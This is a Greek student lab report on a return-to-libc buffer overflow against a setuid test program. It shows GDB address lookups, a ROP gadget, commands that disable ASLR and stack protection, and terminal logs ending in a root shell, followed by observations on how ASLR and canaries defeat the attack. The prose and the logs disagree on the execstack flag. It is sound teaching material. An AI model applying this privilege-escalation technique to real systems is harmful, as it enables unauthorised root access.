Ασφάλεια Δικτύων & Πληροφοριακών Συστημάτων
Ακαδημαϊκό Έτος: 2016-17
Εξάμηνο: 8ο
Project 2
Αξελός Χρήστος, 1814
Κάραλης Γεώργιος, 1848
Πολυχρόνης Γεώργιος, 1749

Κυριακή, 7 Μαΐου 2017

- Δημιουργία **BADFILE**:
  i) Μέσω του GDB βρήκαμε τις διευθύνσεις των εντολών της LIBC οι οποίες είναι: setuid, system, exit.

```
Breakpoint 1, 0x0000000004005fa in bof ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a53390 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0x7ffff7a48030 <__GI_exit>
gdb-peda$ p setuid
$3 = {<text variable, no debug info>} 0x7ffff7ada700 <__setuid>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9a177 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$
```

  ii) Με το εργαλείο “ropper” αναζητήσαμε για τα κατάλληλα gadgets μέσα στο εκτελέσιμο του vulnerable προγράμματος, όπου βρήκαμε το gadget “pop rdi; ret;” του οποίου και κρατήσαμε τη διεύθυνση. Το εν λόγω gadget αρχικά κάνει pop από τη στοίβα του προγράμματος την πρώτη τιμή, την αποθηκεύει στον καταχωρητή rdi, ο οποίος χρησιμοποιείται για να αποθηκεύει τα πρώτα ορίσματα των συναρτήσεων, και στη συνέχεια κάνει return στη διεύθυνση που θέλουμε να μεταβούμε η οποία είναι αποθηκευμένη αμέσως μετά την τιμή που κάνουμε pop από τη στοίβα.

```
0x00000000004006e3: pop rdi; ret;
```

  iii) Έπειτα, λαμβάνοντας υπόψη το μέγεθος του buffer, τον γεμίσαμε κατάλληλο αριθμό σκουπιδιών έτσι ώστε να φτάσουμε στη διεύθυνση της stack όπου βρίσκεται η διεύθυνση επιστροφής προς τη συνάρτηση main.
  iv) Προσθέσαμε τις διευθύνσεις που βρήκαμε στα προηγούμενα βήματα και τις τοποθετήσαμε μετά τα σκουπίδια, με τη σειρά με την οποία θέλουμε να εκτελέσουμε τις εντολές.

- Compile του **Vulnerable Program**:

Μέσω root πρόσβασης και της εντολής **sudo su root** εκτελέσαμε τις παρακάτω εντολές:

i. # gcc -o retlib -z execstack -fno-stack-protector retlib.c
ii. # chmod 4755 retlib

- Ενέργειες για το εκτελέσιμο:

Με πρόσβαση **user** εκτελέσαμε την εντολή **./retlib** όπου το **ASLR** και ο **Stack Guard (-fno-stack-protector)** είναι απενεργοποιημένα και το flag **–z execstack** κατά το compile σημαίνει ότι μπορούμε να εκτελέσουμε κώδικα από το πρόγραμμά μας που βρίσκεται στη stack.

- Πως τρέχει το **Vulnerable Program**:

Με απενεργοποιημένα τα ASLR και Stack Guard, και με το flag –z execstack κατά την εκτέλεση του προγράμματος συμβαίνουν τα εξής:

i. Το πρόγραμμά μας διαβάζει από ένα αρχείο που λέγεται badfile τον κώδικα που θέλουμε να εκτελέσουμε.

ii. Αυτός ο κώδικας μέσω της συνάρτησης bof και της μεταβλητής buffer που υπάρχει σε αυτή περνιέται στη stack της συνάρτησης.

iii. Το μέγεθος του badfile σημαίνει ότι το περιεχόμενό του θα γεμίσει τη stack και θα κάνει overwrite επιπλέον τον Frame Pointer, $rbp, και τη διεύθυνση επιστροφής της συνάρτησης bof.

iv. Με αυτόν τον τρόπο, αλλάζουμε τα περιεχόμενα της stack και ειδικότερα τη διεύθυνση επιστροφής όπου τοποθετούμε μέσω του badfile την καινούρια διεύθυνση επιστροφής όπου θέλουμε να συνεχίσουμε την εκτέλεση καλώντας εντολές της LIBC μέσω των κατάλληλων διευθύνσεων.

v. Τελικά, η εκτέλεση του προγράμματος συνεχίζεται στις εντολές setuid, system, exit όπου λαμβάνουμε ένα **shell** με **root** πρόσβαση.

Ακολουθεί screenshot που επεξηγεί καλύτερα τις παραπάνω διαδικασίες:

```
giwrgos@giwrgos-Lenovo-G510:~/Downloads/Mathimata/software security/lab2/paradoteo$ sudo su
root@giwrgos-Lenovo-G510:/home/giwrgos/Downloads/Mathimata/software security/lab2/paradoteo# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
root@giwrgos-Lenovo-G510:/home/giwrgos/Downloads/Mathimata/software security/lab2/paradoteo# gcc -fno-stack-protector -z noexecstack -o retlib retlib.
c
root@giwrgos-Lenovo-G510:/home/giwrgos/Downloads/Mathimata/software security/lab2/paradoteo# chmod 4755 retlib
root@giwrgos-Lenovo-G510:/home/giwrgos/Downloads/Mathimata/software security/lab2/paradoteo# exit
giwrgos@giwrgos-Lenovo-G510:~/Downloads/Mathimata/software security/lab2/paradoteo$ gcc exploit.c -o exploit
giwrgos@giwrgos-Lenovo-G510:~/Downloads/Mathimata/software security/lab2/paradoteo$ ls -l
total 32
-rwxrwxr-x 1 giwrgos giwrgos 8768 Μάι   7 18:32 exploit
-rw-rw-r-- 1 giwrgos giwrgos 1303 Μάι   6 21:29 exploit.c
-rwsr-xr-x 1 root    root    8784 Μάι   7 18:32 retlib
-rw-rw-r-- 1 giwrgos giwrgos  359 Μάι   7 18:29 retlib.c
giwrgos@giwrgos-Lenovo-G510:~/Downloads/Mathimata/software security/lab2/paradoteo$ ./exploit
giwrgos@giwrgos-Lenovo-G510:~/Downloads/Mathimata/software security/lab2/paradoteo$ ls -l
total 36
-rw-rw-r-- 1 giwrgos giwrgos   80 Μάι   7 18:33 badfile
-rwxrwxr-x 1 giwrgos giwrgos 8768 Μάι   7 18:32 exploit
-rw-rw-r-- 1 giwrgos giwrgos 1303 Μάι   6 21:29 exploit.c
-rwsr-xr-x 1 root    root    8784 Μάι   7 18:32 retlib
-rw-rw-r-- 1 giwrgos giwrgos  359 Μάι   7 18:29 retlib.c
giwrgos@giwrgos-Lenovo-G510:~/Downloads/Mathimata/software security/lab2/paradoteo$ ./retlib
# id
uid=0(root) gid=1000(giwrgos) groups=1000(giwrgos),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

- Παρατηρήσεις:
  - i. Μετά την κανονική εκτέλεση, ενεργοποιήσαμε το ASLR. Εκτελέσαμε το πρόγραμμα stack πολλές φορές και από τα αποτελέσματα είδαμε ότι ακόμα και να εκτελεστεί ένα μεγάλο αριθμό επαναλήψεων πάντα θα εμφάνιζε: Segmentation Fault. Αυτό συμβαίνει διότι οι διευθύνσεις των συναρτήσεων αλλάζουν.

```
root@giwrgos-Lenovo-G510:/home/giwrgos/Downloads/Mathimata/software security/lab2/paradoteo# sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
root@giwrgos-Lenovo-G510:/home/giwrgos/Downloads/Mathimata/software security/lab2/paradoteo# exit
giwrgos@giwrgos-Lenovo-G510:~/Downloads/Mathimata/software security/lab2/paradoteo$ ./retlib
Segmentation fault (core dumped)
giwrgos@giwrgos-Lenovo-G510:~/Downloads/Mathimata/software security/lab2/paradoteo$
```

Ακόμα και με τη μέθοδο του **<u>Brute Force (με σταθερή διεύθυνση)</u>** δεν καταφέραμε να πάρουμε root shell από το πρόγραμμα μας.

ii. Απενεργοποιώντας μόνο το **Stack Guard** με το flag **–fno-stack-protector** κατά το compile, η εκτέλεση του προγράμματος απορρίπτεται με τη δικαιολογία της τροποποίησης των τιμών που βρίσκονται και καθορίζουν τη stack ενός προγράμματος και συγκεκριμένα τα **<u>Stack Canaries</u>**. Ακολουθεί επεξηγηματικό screenshot για το συγκεκριμένο πρόβλημα:

```
root@giwrgos-Lenovo-G510:/home/giwrgos/Downloads/Mathimata/software security/lab2/paradoteo# gcc -z noexecstack -o retlib retlib.c
root@giwrgos-Lenovo-G510:/home/giwrgos/Downloads/Mathimata/software security/lab2/paradoteo# chmod 4755 retlib
root@giwrgos-Lenovo-G510:/home/giwrgos/Downloads/Mathimata/software security/lab2/paradoteo# exit
giwrgos@giwrgos-Lenovo-G510:~/Downloads/Mathimata/software security/lab2/paradoteo$ ./retlib
*** stack smashing detected ***: ./retlib terminated
Aborted (core dumped)
giwrgos@giwrgos-Lenovo-G510:~/Downloads/Mathimata/software security/lab2/paradoteo$
```

iii. Τέλος, αλλάζοντας το όνομα του αρχείου σε newretlib.c και χρησιμοποιώντας το ίδιο badfile, η εκτέλεσή του φαίνεται να είναι ίδια με την προηγούμενη.Το οποίο είναι

λογικό γιατί οι διευθύνσεις που χρησιμοποιούντε είναι σταθερές για όλα τα προγράμματα (με το randomization = 0) και ανεξάρτητες του μεγέθους του ονόματος του αρχείου.